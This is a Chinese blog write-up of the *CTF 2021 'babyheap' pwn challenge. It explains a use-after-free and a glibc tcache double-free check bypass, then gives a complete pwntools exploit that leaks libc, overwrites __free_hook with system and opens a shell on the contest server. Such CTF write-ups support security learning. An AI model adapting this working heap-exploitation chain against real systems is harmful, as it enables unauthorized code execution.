首页 > 其他 > 详细

*CTF pwn

时间:2021-01-18 19:46:55      阅读:31      评论:0      收藏:0      [点我收藏+]

打了这次*ctf,wtcl,arm pwn不会,kernel也不会,pwn只出了一道比较简单的堆题。

先记录下来吧,其他的题目如果有复现就发上来

babyheap

glibc版本虽然是2.27,但是题目使用的libc是修复过的libc,tcache_entry结构体中存在key指针去检测double free,注意绕过即可

delete处存在UAF,edit可以覆写被释放的堆块,

但是edit处与一般的堆题有所不同,不能直接改写fd了,可以利用UAF构造块堆叠,去覆写下一个堆块的内容

read(0, (pools[v1] + 8LL), (sizes[v1] - 8))

leavename中有开大堆的操作,可以通过malloc consolidate合并出一个small bin,再去构造unsorted bin

exp:

from pwn import*
#p = process(‘./pwn‘)
p = remote(‘52.152.231.198‘,8081)
context.log_level = ‘debug‘
elf = ELF(‘./pwn‘)
#libc = elf.libc
libc = ELF(‘./libc.so.6‘)
def menu(idx):
    p.sendlineafter(‘>>‘,str(idx))
def add(idx,size):
    menu(1)
    p.sendlineafter(‘input index‘,str(idx))
    p.sendlineafter(‘input size‘,str(size))
def delete(idx):
    menu(2)
    p.sendlineafter(‘input index‘,str(idx))
def edit(idx,content):
    menu(3)
    p.sendlineafter(‘input index‘,str(idx))
    p.sendafter(‘input content‘,content)
def show(idx):
    menu(4)
    p.sendlineafter(‘input index‘,str(idx))
def leavename(name):
    menu(5)
    p.sendafter(‘your name:‘,name)
def showname():
    menu(6)
 
add(0,0x58)
for i in range(1,9):
    add(i,0x58)
add(10,0x58)
for i in range(7):
    delete(0)
    edit(0,p64(0))

show(0)
p.recvline()
heap_addr = u64(p.recv(6).ljust(8,‘\x00‘))-0x260
log.info(‘heap:‘+hex(heap_addr))
for i in range(1,9):
    delete(i)
leavename(‘a‘*8)
show(3)
libc_base = u64(p.recvuntil(‘\x7f‘)[-6:].ljust(8,‘\x00‘))-96-0x10-libc.sym[‘__malloc_hook‘]
log.info(‘libc:‘+hex(libc_base))
free_hook = libc_base + libc.sym[‘__free_hook‘]
system = libc_base +libc.sym[‘system‘]
#gdb.attach(p)
add(9,0x48)
add(10,0x48)
add(11,0x48)
#gdb.attach(p)
edit(1,p64(0)*8+p64(0x51)+p64(0))
delete(11)
delete(10)
#gdb.attach(p)
edit(1,p64(0)*8+p64(0x51)+p64(free_hook-8))
add(12,0x48)
add(13,0x48)
edit(13,p64(system))
edit(1,p64(0)*8+p64(0x51)+‘/bin/sh\x00‘)
#gdb.attach(p)
delete(12)
p.interactive()

*CTF pwn

原文:https://www.cnblogs.com/z2yh/p/14292758.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!